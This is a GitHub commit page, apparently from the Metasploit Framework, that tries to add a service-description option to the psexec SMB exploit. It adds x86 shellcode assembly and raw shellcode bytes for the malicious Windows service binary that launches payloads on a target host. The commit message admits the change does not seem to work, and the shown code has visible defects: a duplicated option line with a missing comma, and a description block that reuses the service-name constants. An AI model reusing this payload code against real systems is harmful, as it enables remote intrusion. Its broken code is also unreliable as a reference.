Skip to content

Commit 6332957

Browse files
Florian Gaultieragix
authored andcommitted
Try to add SERVICE_DESCRIPTION options to psexec, but it doesn't seem to work...
1 parent bdbb70a commit 6332957

File tree

5 files changed

+58
-4
lines changed

5 files changed

+58
-4
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 448 bytes
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
; Input: EBP must be the address of 'api_call'.
9+
10+
push 0x000F01FF
11+
push 0x00000000
12+
push 0x00000000
13+
push 0x7636F067
14+
call ebp ;OpenSCManagerA
15+
mov edi, eax
16+
push 0x00464349
17+
push 0x56524553
18+
mov ecx, esp ;SVCNAME
19+
push 0x000F01FF
20+
push ecx
21+
push eax
22+
push 0x404B2856
23+
call ebp ;OpenServiceA
24+
mov esi, eax
25+
push 0x00464349
26+
push 0x56524553
27+
mov ecx, esp ;SVCDESCRIPTION
28+
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
29+
push eax
30+
push 0xED35B087
31+
call ebp ;ChangeServiceConfig2A
32+
push esi
33+
push 0xAD77EADE ;CloseServiceHandle
34+
call ebp
35+
push edi
36+
push 0xAD77EADE ;CloseServiceHandle
37+
call ebp

external/source/shellcode/windows/x86/src/block/block_service_stopped.asm

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,8 @@
77
[BITS 32]
88
; Input: EBP must be the address of 'api_call'.
99

10-
call me2
11-
me2:
10+
call me3
11+
me3:
1212
pop edi
1313
jmp 0x7
1414
pop eax

external/source/shellcode/windows/x86/src/single/single_service_stuff.asm

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
start: ;
1515
pop ebp ; pop off the address of 'api_call' for calling later.
1616
%include "./src/block/block_service.asm"
17+
%include "./src/block/block_service_change_description.asm"
1718
%include "./src/block/block_create_remote_process.asm"
1819
%include "./src/block/block_service_stopped.asm"
1920

lib/msf/util/exe.rb

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -539,6 +539,20 @@ def self.to_win32pe_service(framework, code, opts={})
539539
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
540540
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
541541

542+
code_service_description = ""
543+
544+
if opts[:servicedescription]
545+
pushed_service_description = string_to_pushes(opts[:servicedescription])
546+
547+
code_service_description =
548+
"\x68\xFF\x01\x0F\x00\x6A\x00\x6A\x00\x68\x67\xF0\x36" +
549+
"\x76\xFF\xD5\x89\xC7"+pushed_service_name+"\x89\xE1\x68" +
550+
"\xFF\x01\x0F\x00\x51\x50\x68\x56\x28\x4B\x40\xFF\xD5\x89\xC6" +
551+
pushed_service_description+"\x89\xE1\x6A\x01\x50\x68\x87\xB0\x35" +
552+
"\xED\xFF\xD5\x56\x68\xDE\xEA\x77\xAD\xFF\xD5\x57\x68\xDE\xEA\x77" +
553+
"\xAD\xFF\xD5"
554+
end
555+
542556
precode_size = 0x42
543557
shellcode_code_offset = code_service_stopped.length + precode_size
544558

@@ -561,7 +575,8 @@ def self.to_win32pe_service(framework, code, opts={})
561575
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
562576
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
563577
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
564-
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
578+
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5" +
579+
code_service_description+"\x31\xFF\x6A" +
565580
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
566581
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
567582
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +

modules/exploits/windows/smb/psexec.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,8 @@ def initialize(info = {})
8383
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
8484
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
8585
OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]),
86-
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil])
86+
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil]),
87+
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
8788
], self.class)
8889
end
8990

0 commit comments

Comments
 (0)